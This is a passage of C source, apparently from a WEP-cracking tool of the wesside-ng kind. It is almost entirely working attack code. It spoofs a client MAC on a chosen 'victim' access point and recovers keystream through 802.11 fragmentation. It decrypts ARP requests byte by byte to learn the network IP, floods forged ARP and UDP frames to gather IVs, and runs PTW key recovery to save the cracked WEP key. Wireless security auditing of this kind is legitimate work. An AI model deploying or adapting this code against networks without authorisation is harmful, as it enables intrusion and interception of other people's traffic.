1153
1154 void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1155         unsigned char* body;
1156         int bodylen;
1157         unsigned char clear[36];
1158         unsigned char* ptr;
1159         struct arphdr* h;
1160         int i;
1161
1162         body = (unsigned char*) wh+sizeof(*wh);
1163         ptr = clear;
1164
1165         // calculate clear-text
1166         memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
1167         ptr += sizeof(arp_clear) -1;
1168         
1169         h = (struct arphdr*)ptr;
1170         h->ar_hrd = htons(ARPHRD_ETHER);
1171         h->ar_pro = htons(ETHERTYPE_IP);
1172         h->ar_hln = 6;
1173         h->ar_pln = 4;
1174         h->ar_op = htons(ARPOP_REQUEST);
1175         ptr += sizeof(*h);
1176
1177         memcpy(ptr, wh->i_addr3, 6);
1178
1179         bodylen = rd - sizeof(*wh) - 4 - 4;
1180         decryptstate.clen = bodylen;
1181         decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1182         if (!decryptstate.cipher) {
1183                 perror("malloc()");
1184                 exit(1);
1185         }
1186         decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1187         if (!decryptstate.prgainfo.prga) {
1188                 perror("malloc()");
1189                 exit(1);
1190         }
1191
1192
1193         memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1194         memcpy(decryptstate.prgainfo.iv, body, 3);
1195
1196         memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
1197         for(i = 0; i < (8+8+6); i++) {
1198                 decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^ 
1199                                                 clear[i];
1200         }
1201         
1202         decryptstate.prgainfo.len = i;
1203         time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1204 }
1205
1206 void log_wep(struct ieee80211_frame* wh, int len) {
1207         int rd;
1208         struct pcap_pkthdr pkh;
1209         struct timeval tv;
1210         unsigned char *body = (unsigned char*) (wh+1);
1211
1212         memset(&pkh, 0, sizeof(pkh));
1213         pkh.caplen = pkh.len = len;
1214         if (gettimeofday(&tv, NULL) == -1)
1215                 err(1, "gettimeofday()");
1216         pkh.ts = tv;
1217         if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
1218                 err(1, "write()");
1219
1220         rd = write(weplog.fd, wh, len);
1221
1222         if (rd == -1) {
1223                 perror("write()");
1224                 exit(1);
1225         }
1226         if (rd != len) {
1227                 time_print("short write %d out of %d\n", rd, len);
1228                 exit(1);
1229         }
1230
1231 #if 0
1232         if (fsync(weplog.fd) == -1) {
1233                 perror("fsync()");
1234                 exit(1);
1235         }
1236 #endif
1237
1238         memcpy(weplog.iv, body, 3);
1239         weplog.packets++;
1240 }
1241
1242 void try_dictionary(struct ieee80211_frame* wh, int len) {
1243         unsigned char *body;
1244         char path[52];
1245         char paths[3][3];
1246         int i;
1247         int fd, rd;
1248         unsigned char packet[4096];
1249         int dlen;
1250         struct ether_header* eh;
1251         uLong crc;
1252         unsigned long *pcrc;
1253         unsigned char* dmac, *smac;
1254
1255         assert (len < sizeof(packet) + sizeof(*eh));
1256
1257         body = (unsigned char*) wh + sizeof(*wh);
1258
1259         for (i = 0; i < 3; i++)
1260                 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1261
1262         sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1263
1264         fd = open(path, O_RDONLY);
1265         if (fd == -1)
1266                 return;
1267
1268         rd = read(fd, &packet[6], sizeof(packet)-6);
1269         if (rd == -1) {
1270                 perror("read()");
1271                 exit(1);
1272         }
1273         close(fd);
1274
1275
1276         dlen = len - sizeof(*wh) - 4;
1277         if (dlen > rd) {
1278                 printf("\n");
1279                 time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1280                 dlen);
1281                 return;
1282         }
1283
1284         body += 4;
1285         for (i = 0; i < dlen; i++)
1286                 packet[6+i] ^= body[i];
1287
1288         dlen -= 4;
1289         crc = crc32(0L, Z_NULL, 0);
1290         crc = crc32(crc, &packet[6], dlen);
1291         pcrc = (unsigned long*) (&packet[6+dlen]);
1292
1293         if (*pcrc != crc) {
1294                 printf("\n");
1295                 time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1296                            path, *pcrc, crc);
1297                 return;
1298         }
1299
1300         // fill ethernet header
1301         eh = (struct ether_header*) packet;
1302         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1303                 smac = wh->i_addr3;
1304         else
1305                 smac = wh->i_addr2;
1306
1307         if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1308                 dmac = wh->i_addr3;
1309         else
1310                 dmac = wh->i_addr1;
1311
1312         memcpy(eh->ether_dhost, dmac, 6);
1313         memcpy(eh->ether_shost, smac, 6);
1314         // ether type should be there from llc
1315
1316         dlen -= 8; // llc
1317         dlen += sizeof(*eh);
1318
1319 #if 0
1320         printf("\n");
1321         time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1322         hexdump(packet, dlen);
1323 #endif
1324
1325         rd = write(tapfd, packet, dlen);
1326         if (rd == -1) {
1327                 perror("write()");
1328                 exit(1);
1329         }
1330         if (rd != dlen) {
1331                 printf("Wrote %d / %d\n", rd, dlen);
1332                 exit(1);
1333         }
1334 }
1335
1336 int is_arp(struct ieee80211_frame *wh, int len)
1337 {       
1338         int arpsize = 8 + sizeof(struct arphdr) + 10*2;
1339
1340         if (len == arpsize || len == 54)
1341                 return 1;
1342
1343         return 0;
1344 }
1345
1346 void *get_sa(struct ieee80211_frame *wh)
1347 {       
1348         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1349                 return wh->i_addr3;
1350         else    
1351                 return wh->i_addr2;
1352 }
1353
1354 void *get_da(struct ieee80211_frame *wh)
1355 {       
1356         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1357                 return wh->i_addr1;
1358         else    
1359                 return wh->i_addr3;
1360 }
1361
1362 int known_clear(void *clear, struct ieee80211_frame *wh, int len)
1363 {       
1364         unsigned char *ptr = clear;
1365
1366         /* IP */
1367         if (!is_arp(wh, len)) {
1368                 unsigned short iplen = htons(len - 8);
1369                             
1370 //                printf("Assuming IP %d\n", len);
1371                             
1372                 len = sizeof(S_LLC_SNAP_IP) - 1;
1373                 memcpy(ptr, S_LLC_SNAP_IP, len);
1374                 ptr += len;
1375 #if 1                  
1376                 len = 2;    
1377                 memcpy(ptr, "\x45\x00", len);
1378                 ptr += len;
1379                             
1380                 memcpy(ptr, &iplen, len);
1381                 ptr += len;
1382 #endif
1383                 len = ptr - ((unsigned char*)clear);
1384                 return len;
1385         }
1386 //        printf("Assuming ARP %d\n", len);
1387
1388         /* arp */
1389         len = sizeof(S_LLC_SNAP_ARP) - 1;
1390         memcpy(ptr, S_LLC_SNAP_ARP, len);
1391         ptr += len;
1392
1393         /* arp hdr */
1394         len = 6;
1395         memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
1396         ptr += len;
1397
1398         /* type of arp */
1399         len = 2;
1400         if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
1401                 memcpy(ptr, "\x00\x01", len);
1402         else   
1403                 memcpy(ptr, "\x00\x02", len);
1404         ptr += len;
1405
1406         /* src mac */
1407         len = 6;
1408         memcpy(ptr, get_sa(wh), len);
1409         ptr += len;
1410
1411         len = ptr - ((unsigned char*)clear);
1412         return len;
1413 }
1414
1415 void add_keystream(struct ieee80211_frame* wh, int rd)
1416 {
1417         unsigned char clear[1024];
1418         int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
1419         int clearsize;
1420         unsigned char *body = (unsigned char*) (wh+1);
1421         int i;
1422         
1423         clearsize = known_clear(clear, wh, dlen);
1424         if (clearsize < 16)
1425                 return;
1426
1427         for (i = 0; i < 16; i++)
1428                 clear[i] ^= body[4+i];
1429
1430         PTW_addsession(ptw, body, clear);
1431 }
1432
1433 void got_wep(struct ieee80211_frame* wh, int rd) {
1434         int bodylen;
1435         int dlen;
1436         unsigned char clear[1024];
1437         int clearsize;
1438         unsigned char *body;
1439
1440         bodylen = rd - sizeof(struct ieee80211_frame);
1441
1442         dlen = bodylen - 4 - 4;
1443         body = (unsigned char*) wh + sizeof(*wh);
1444
1445
1446         // log it if its stuff not from us...
1447         if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1448              ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1449                 memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1450
1451                 if (body[3] != 0) {
1452                         time_print("Key index=%x!!\n", body[3]);
1453                         exit(1);
1454                 }
1455                 log_wep(wh, rd);
1456                 add_keystream(wh, rd);
1457         
1458                 // try to decrypt too
1459                 try_dictionary(wh, rd);
1460         }       
1461         
1462         // look for arp-request packets... so we can decrypt em
1463         if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1464             (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1465             (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1466              (dlen == 36 || dlen == PADDED_ARPLEN) &&
1467             !decryptstate.cipher && 
1468             !netip) {
1469                 decrypt_arpreq(wh, rd);
1470         }
1471
1472         // we have prga... check if its our stuff being relayed...
1473         if (prgainfo.len != 0) {
1474                 // looks like it...
1475                 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1476                     (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1477                     (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1478                     dlen == fragstate.len) {
1479         
1480 //                      printf("I fink AP relayed it...\n");
1481                         set_prga(body, &body[4], fragstate.data, dlen);
1482                         free(fragstate.data);
1483                         fragstate.data = 0;
1484                         fragstate.waiting_relay = 0;
1485                 }   
1486                 
1487                 // see if we get the multicast stuff of when decrypting
1488                 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1489                     (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1490                     (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1491                     dlen == 36) {
1492         
1493                         unsigned char pr = wh->i_addr1[5];
1494
1495                         printf("\n");
1496                         time_print("Got clear-text byte: %d\n", 
1497                         decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1498
1499                         decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1500                         decryptstate.prgainfo.len++;
1501                         decryptstate.fragstate.waiting_relay = 1;
1502
1503                         // ok we got the ip...
1504                         if (decryptstate.prgainfo.len == 26+1) {
1505                                 unsigned char ip[4];
1506                                 int i;
1507                                 struct in_addr *in = (struct in_addr*) ip;
1508                                 unsigned char *ptr;
1509
1510                                 for (i = 0; i < 4; i++)
1511                                         ip[i] = decryptstate.cipher[8+8+6+i] ^
1512                                                 decryptstate.prgainfo.prga[8+8+6+i];
1513
1514                                 assert(!netip);
1515                                 netip = (unsigned char*) malloc(16);
1516                                 if(!netip) {
1517                                         perror("malloc()");
1518                                         exit(1);
1519                                 }
1520
1521                                 memset(netip, 0, 16);
1522                                 strcpy(netip, inet_ntoa(*in));
1523
1524                                 time_print("Got IP=(%s)\n", netip);
1525                                 strcpy(myip, netip);
1526
1527                                 ptr = strchr(myip, '.');
1528                                 assert(ptr);
1529                                 ptr = strchr(ptr+1, '.');
1530                                 assert(ptr);
1531                                 ptr = strchr(ptr+1, '.');
1532                                 assert(ptr);
1533                                 strcpy(ptr+1,"123");
1534
1535                                 time_print("My IP=(%s)\n", myip);
1536
1537
1538                                 free(decryptstate.prgainfo.prga);
1539                                 free(decryptstate.cipher);
1540                                 memset(&decryptstate, 0, sizeof(decryptstate));
1541                         }       
1542                 }    
1543                 return;
1544         }
1545
1546         clearsize = known_clear(clear, wh, dlen);
1547         time_print("Datalen %d Known clear %d\n", dlen, clearsize);
1548
1549         set_prga(body, &body[4], clear, clearsize);
1550 }
1551
1552 void stuff_for_net(struct ieee80211_frame* wh, int rd) {
1553         int type,stype;
1554         
1555         type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1556         stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1557
1558         if (type == IEEE80211_FC0_TYPE_DATA && 
1559             stype == IEEE80211_FC0_SUBTYPE_DATA) {
1560                 int dlen = rd - sizeof(struct ieee80211_frame);
1561
1562                 if (state == SPOOF_MAC) {
1563                         unsigned char mac[6];
1564                         if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1565                                 memcpy(mac, wh->i_addr3, 6);
1566                         } else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1567                                 memcpy(mac, wh->i_addr1, 6);
1568                         } else assert(0);
1569
1570                         if (mac[0] == 0xff || mac[0] == 0x1)
1571                                 return;
1572
1573                         memcpy(mymac, mac, 6);  
1574                         time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1575                         state = FOUND_VICTIM;
1576                         return;
1577                 }
1578
1579                 // wep data!
1580                 if ( (wh->i_fc[1] & IEEE80211_FC1_PROTECTED) &&
1581                     dlen > (4+8+4)) {
1582                         got_wep(wh, rd);
1583                 }
1584         }
1585 }
1586
1587 void anal(unsigned char* buf, int rd, int tx) { // yze
1588         struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
1589         int type,stype;
1590         static int lastseq = -1;
1591         int seq;
1592         unsigned short *seqptr;
1593         int for_us = 0;
1594
1595         if (rd < 1) {
1596                 time_print("rd=%d\n", rd);
1597                 exit(1);
1598         }
1599
1600         type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1601         stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1602
1603         // sort out acks
1604         if (state >= FOUND_VICTIM) {
1605                 // stuff for us
1606                 if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1607                         for_us = 1;
1608                         if (type != IEEE80211_FC0_TYPE_CTL)
1609                                 send_ack(tx);
1610                 }
1611         }       
1612         
1613         // XXX i know it aint great...
1614         seqptr = (unsigned short*)  wh->i_seq;
1615         seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1616         if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1617             type != IEEE80211_FC0_TYPE_CTL) {
1618 //              printf("Ignoring dup packet... seq=%d\n", seq);
1619                 return;
1620         }
1621         lastseq = seq;
1622
1623         // management frame
1624         if (type == IEEE80211_FC0_TYPE_MGT) {
1625                 if(state == FIND_VICTIM) {
1626                         if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
1627                             stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1628
1629                                 if (get_victim_ssid(wh, rd)) {
1630                                         return;
1631                                 }
1632                         }
1633                             
1634                 }
1635         }
1636
1637         if (state >= FOUND_VICTIM) {
1638                 // stuff for us
1639                 if (for_us) {
1640                         stuff_for_us(wh, rd);
1641                 }
1642
1643                 // stuff in network [even for us]
1644                 if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1645                           (memcmp(victim.bss, wh->i_addr1, 6) == 0)) || 
1646                           
1647                           ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1648                           (memcmp(victim.bss, wh->i_addr2, 6) == 0))
1649                            ) {
1650                         stuff_for_net(wh, rd);
1651                 }
1652         }
1653 }
1654
1655 void do_arp(unsigned char* buf, unsigned short op,
1656             unsigned char* m1, unsigned char* i1,
1657             unsigned char* m2, unsigned char* i2) {
1658
1659         struct in_addr sip;
1660         struct in_addr dip;
1661         struct arphdr* h;
1662         unsigned char* data;
1663
1664         inet_aton(i1, &sip);
1665         inet_aton(i2, &dip);
1666         h = (struct arphdr*) buf;
1667
1668         memset(h, 0, sizeof(*h));
1669
1670         h->ar_hrd = htons(ARPHRD_ETHER);
1671         h->ar_pro = htons(ETHERTYPE_IP);
1672         h->ar_hln = 6;
1673         h->ar_pln = 4;
1674         h->ar_op = htons(op);
1675
1676         data = (unsigned char*) h + sizeof(*h);
1677
1678         memcpy(data, m1, 6);
1679         data += 6;
1680         memcpy(data, &sip, 4);
1681         data += 4;
1682
1683         memcpy(data, m2, 6);
1684         data += 6;
1685         memcpy(data, &dip, 4);
1686         data += 4;
1687 }
1688
1689 void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1690         unsigned char buf[4096];
1691         struct ieee80211_frame* wh;
1692         unsigned char* body;
1693         int fragsize;
1694         uLong crc;
1695         unsigned long *pcrc;
1696         int i;
1697         unsigned short* seq;
1698         unsigned short sn, fn;
1699
1700         wh = (struct ieee80211_frame*) buf;
1701         memcpy(wh, &fs->wh, sizeof(*wh));
1702
1703         body = (unsigned char*) wh + sizeof(*wh);
1704         memcpy(body, &pi->iv, 3);
1705         body += 3;
1706         *body++ = 0; // key index
1707
1708         fragsize = fs->data + fs->len - fs->ptr;
1709
1710         assert(fragsize > 0);
1711         
1712         if ( (fragsize + 4) > pi->len) {
1713                 fragsize = pi->len  - 4;
1714                 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1715         } 
1716         // last fragment
1717         else {
1718                 wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1719         }
1720
1721         memcpy(body, fs->ptr, fragsize);
1722
1723         crc = crc32(0L, Z_NULL, 0);
1724         crc = crc32(crc, body, fragsize);
1725         pcrc = (unsigned long*) (body+fragsize);
1726         *pcrc = crc;
1727
1728         for (i = 0; i < (fragsize + 4); i++)
1729                 body[i] ^= pi->prga[i];
1730
1731         seq = (unsigned short*) &wh->i_seq;
1732         sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1733         fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1734 //      printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1735                
1736         send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1737
1738         seq = (unsigned short*) &fs->wh.i_seq;
1739         *seq = fnseq(++fn, sn);
1740         fs->ptr += fragsize;
1741
1742         if (fs->ptr - fs->data == fs->len) {
1743 //              printf("Finished sending frags...\n");
1744                 fs->waiting_relay = 1;
1745         }
1746 }
1747
1748 void prepare_fragstate(struct frag_state* fs, int pad) {
1749         fs->waiting_relay = 0;
1750         fs->len = 8 + 8 + 20 + pad;
1751         fs->data = (unsigned char*) malloc(fs->len);
1752
1753         if(!fs->data) {
1754                 perror("malloc()");
1755                 exit(1);
1756         }
1757
1758         fs->ptr = fs->data;
1759
1760         do_llc(fs->data, ETHERTYPE_ARP);
1761         do_arp(&fs->data[8], ARPOP_REQUEST,
1762                mymac, myip, 
1763                "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1764
1765         memset(&fs->wh, 0, sizeof(fs->wh));
1766         fill_basic(&fs->wh);
1767
1768         memset(fs->wh.i_addr3, 0xff, 6);
1769         fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1770         fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1771                                 IEEE80211_FC1_MORE_FRAG |
1772                                 IEEE80211_FC1_PROTECTED;
1773
1774         memset(&fs->data[8+8+20], 0, pad);
1775 }
1776
1777 void discover_prga(int tx) {
1778
1779         // create packet...
1780         if (!fragstate.data) {
1781                 int pad = 0;
1782
1783                 if (prgainfo.len >= 20)
1784                         pad = prgainfo.len*3;
1785         
1786                 prepare_fragstate(&fragstate, pad);
1787         }
1788
1789         if (!fragstate.waiting_relay) {
1790                 send_fragment(tx, &fragstate, &prgainfo);
1791                 if (fragstate.waiting_relay) {
1792                         if (gettimeofday(&fragstate.last, NULL) == -1)
1793                                 err(1, "gettimeofday()");
1794                 }
1795         }       
1796 }
1797
1798 void decrypt(int tx) {
1799
1800         // gotta initiate
1801         if (!decryptstate.fragstate.data) {
1802                 prepare_fragstate(&decryptstate.fragstate, 0);
1803
1804                 memcpy(decryptstate.fragstate.wh.i_addr3,
1805                        MCAST_PREF, 5);
1806
1807                 decryptstate.fragstate.wh.i_addr3[5] =
1808                 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1809
1810                 decryptstate.prgainfo.len++;
1811         }
1812
1813         // guess diff prga byte...
1814         if (decryptstate.fragstate.waiting_relay) {     
1815                 unsigned short* seq;
1816                 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1817
1818 #if 0           
1819                 if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1820                         printf("Can't decrpyt!\n");
1821                         exit(1);
1822                 }
1823 #endif
1824                 decryptstate.fragstate.wh.i_addr3[5] =
1825                 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1826
1827                 decryptstate.fragstate.waiting_relay = 0;
1828                 decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1829
1830                 seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1831                 *seq = fnseq(0, txstate.psent);
1832         }
1833
1834         send_fragment(tx, &decryptstate.fragstate,
1835                       &decryptstate.prgainfo);
1836 }
1837
1838 void flood_inet(tx) {
1839         static int send_arp = -1;
1840         static unsigned char arp_pkt[128];
1841         static int arp_len;
1842         static unsigned char udp_pkt[128];
1843         static int udp_len;
1844         static struct timeval last_ip;
1845
1846         // need to init packets...
1847         if (send_arp == -1) {
1848                 unsigned char* body;
1849                 unsigned char* ptr;
1850                 struct ieee80211_frame* wh;
1851                 struct ip* ih;
1852                 struct udphdr* uh;
1853
1854                 memset(arp_pkt, 0, sizeof(arp_pkt));
1855                 memset(udp_pkt, 0, sizeof(udp_pkt));
1856
1857                 // construct ARP
1858                 wh = (struct ieee80211_frame*) arp_pkt;
1859                 fill_basic(wh);
1860
1861                 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1862                 wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
1863                 memset(wh->i_addr3, 0xff, 6);
1864
1865                 body = (unsigned char*) wh + sizeof(*wh);
1866                 ptr = body;
1867                 ptr += 4; // iv
1868
1869                 do_llc(ptr, ETHERTYPE_ARP);
1870                 ptr += 8;
1871                 do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1872                        "\x00\x00\x00\x00\x00\x00", netip);
1873
1874                 wepify(body, 8+8+20);
1875                 arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1876                 assert(arp_len < sizeof(arp_pkt));
1877
1878
1879                 // construct UDP
1880                 wh = (struct ieee80211_frame*) udp_pkt;
1881                 fill_basic(wh);
1882                 
1883                 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1884                 wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
1885                 memcpy(wh->i_addr3, rtrmac, 6);
1886
1887                 body = (unsigned char*) wh + sizeof(*wh);
1888                 ptr = body;
1889                 ptr += 4; // iv
1890
1891                 do_llc(ptr, ETHERTYPE_IP);
1892                 ptr += 8;
1893
1894                 ih = (struct ip*) ptr;
1895                 ih->ip_hl = 5;
1896                 ih->ip_v = 4;
1897                 ih->ip_tos = 0;
1898                 ih->ip_len = htons(20+8+5);
1899                 ih->ip_id = htons(666);
1900                 ih->ip_off = 0;
1901                 ih->ip_ttl = 128;
1902                 ih->ip_p = IPPROTO_UDP;
1903                 ih->ip_sum = 0;
1904
1905                 inet_aton(myip, &ih->ip_src);
1906                 inet_aton(floodip, &ih->ip_dst);
1907
1908                 ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1909
1910                 ptr += 20;
1911                 uh = (struct udphdr*) ptr;
1912                 uh->uh_sport = htons(floodsport);
1913                 uh->uh_dport = htons(floodport);
1914                 uh->uh_ulen = htons(8+5);
1915                 uh->uh_sum = 0;
1916
1917                 ptr += 8;
1918                 strcpy(ptr, "sorbo");
1919
1920                 uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1921                                           &ih->ip_dst);
1922
1923                 wepify(body, 8+20+8+5);
1924                 udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1925                 assert(udp_len < sizeof(udp_pkt));
1926
1927                 // bootstrap
1928                 send_arp = 1;
1929
1930                 memset(&last_ip, 0, sizeof(last_ip));
1931         }
1932
1933         if (send_arp == 1) {
1934                 struct timeval now;
1935                 unsigned long sec;
1936
1937                 if (gettimeofday(&now, NULL) == -1) {
1938                         perror("gettimeofday()");
1939                         exit(1);
1940                 }
1941
1942                 sec = now.tv_sec - last_ip.tv_sec;
1943
1944                 if (sec < 5)
1945                         return;
1946
1947                 send_frame(tx, arp_pkt, arp_len);
1948                 send_arp = 0;
1949         }
1950
1951         else if (send_arp == 0) {
1952                 if (gettimeofday(&last_ip, NULL) == -1) {
1953                         perror("gettimeofday()");
1954                         exit(1);
1955                 }
1956                 
1957                 send_frame(tx, udp_pkt, udp_len);
1958                 send_arp = 1;
1959         } else assert(0);
1960 }
1961
1962 void send_arp(int tx, unsigned short op, unsigned char* srcip, 
1963               unsigned char* srcmac, unsigned char* dstip, 
1964               unsigned char* dstmac) {
1965         
1966         static unsigned char arp_pkt[128];
1967         unsigned char* body;
1968         unsigned char* ptr;
1969         struct ieee80211_frame* wh;
1970         int arp_len;
1971
1972         memset(arp_pkt, 0, sizeof(arp_pkt));
1973
1974         // construct ARP
1975         wh = (struct ieee80211_frame*) arp_pkt;
1976         fill_basic(wh);
1977
1978         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1979         wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
1980         memset(wh->i_addr3, 0xff, 6);
1981
1982         body = (unsigned char*) wh + sizeof(*wh);
1983         ptr = body;
1984         ptr += 4; // iv
1985
1986         do_llc(ptr, ETHERTYPE_ARP);
1987         ptr += 8;
1988         do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
1989
1990         wepify(body, 8+8+20);
1991         arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1992         assert(arp_len < sizeof(arp_pkt));
1993
1994         send_frame(tx, arp_pkt, arp_len);
1995 }             
1996
1997 void can_write(int tx) {
1998         static char arp_ip[16];
1999
2000         switch (state) {
2001                 case FOUND_VICTIM:
2002                         send_auth(tx);
2003                         state = SENDING_AUTH;
2004                         break;
2005
2006                 case GOT_AUTH:
2007                         send_assoc(tx);
2008                         state = SENDING_ASSOC;
2009                         break;
2010
2011                 case GOT_ASSOC:
2012                         if (prgainfo.prga && prgainfo.len < min_prga) {
2013                                 discover_prga(tx);
2014                                 break;
2015                         }
2016                         
2017                         if (decryptstate.cipher) {
2018                                 decrypt(tx);
2019                                 break;
2020                         }
2021                         
2022                         if (!prgainfo.prga)
2023                                 break;
2024
2025                         if (taptx_len) {
2026                                 send_frame(tx, taptx, taptx_len);
2027                                 taptx_len = 0;
2028                                 break;
2029                         }       
2030
2031                         // try to find rtr mac addr
2032                         if (netip && !rtrmac) {
2033                                 char* ptr;
2034
2035                                 strcpy(arp_ip, netip);
2036                                 if (!netip_arg) {
2037                                         ptr = strchr(arp_ip, '.');
2038                                         assert(ptr);
2039                                         ptr = strchr(++ptr, '.');
2040                                         assert(ptr);
2041                                         ptr = strchr(++ptr, '.');
2042                                         assert(ptr);
2043                                         strcpy(++ptr, "1");
2044                                 }
2045
2046                                 if (gettimeofday(&arpsend, NULL) == -1)
2047                                         err(1, "gettimeofday()");
2048
2049                                 time_print("Sending arp request for: %s\n", arp_ip);
2050                                 send_arp(tx, ARPOP_REQUEST, myip, mymac,
2051                                          arp_ip, "\x00\x00\x00\x00\x00\x00");
2052                         
2053                                 // XXX lame
2054                                 rtrmac = (unsigned char*)1;
2055                                 break;   
2056                         }
2057         
2058                         // need to generate traffic...
2059                         if (rtrmac > (unsigned char*)1 && netip) {
2060                                 if (floodip)
2061                                         flood_inet(tx);
2062                                 else {
2063                                         // XXX lame technique... anyway... im
2064                                         // only interested in flood_inet...
2065
2066                                         // could ping broadcast....
2067                                         send_arp(tx, ARPOP_REQUEST, myip, mymac,
2068                                                  arp_ip, "\x00\x00\x00\x00\x00\x00");
2069                                 }
2070
2071                                 break;
2072                         }
2073
2074                         break;  
2075         }
2076 }
2077
2078 void save_key(unsigned char *key, int len)
2079 {
2080         char tmp[16];
2081         char k[64];
2082         int fd;
2083         int rd;
2084
2085         assert(len*3 < sizeof(k));
2086
2087         k[0] = 0;
2088         while (len--) {
2089                 sprintf(tmp, "%.2X", *key++);
2090                 strcat(k, tmp);
2091                 if (len)
2092                         strcat(k, ":");
2093         }
2094
2095         fd = open(KEY_FILE, O_WRONLY | O_CREAT, 0644);
2096         if (fd == -1)
2097                 err(1, "open()");
2098
2099         printf("\nKey: %s\n", k);
2100         rd = write(fd, k, strlen(k));
2101         if (rd == -1)
2102                 err(1, "write()");
2103         if (rd != strlen(k))
2104                 errx(1, "write %d/%d\n", rd, strlen(k));
2105         close(fd);
2106 }
2107
2108 #define KEYLIMIT (1000000)
2109 int do_crack(void)
2110 {
2111         unsigned char key[PTW_KEYHSBYTES];
2112
2113         if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
2114                 save_key(key, 13);
2115                 return 1;
2116         }
2117         if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
2118                 save_key(key, 5);
2119                 return 1;
2120         }
2121
2122         return 0;
2123 }
2124
2125 void try_crack() {
2126         if (crack_pid) {
2127                 printf("\n");
2128                 time_print("Warning... previous crack still running!\n");
2129                 kill_crack();
2130         }       
2131
2132         if (weplog.fd) {
2133                 if (fsync(weplog.fd) == -1)
2134                         err(1, "fsync");
2135         }
2136
2137         crack_pid = fork();
2138
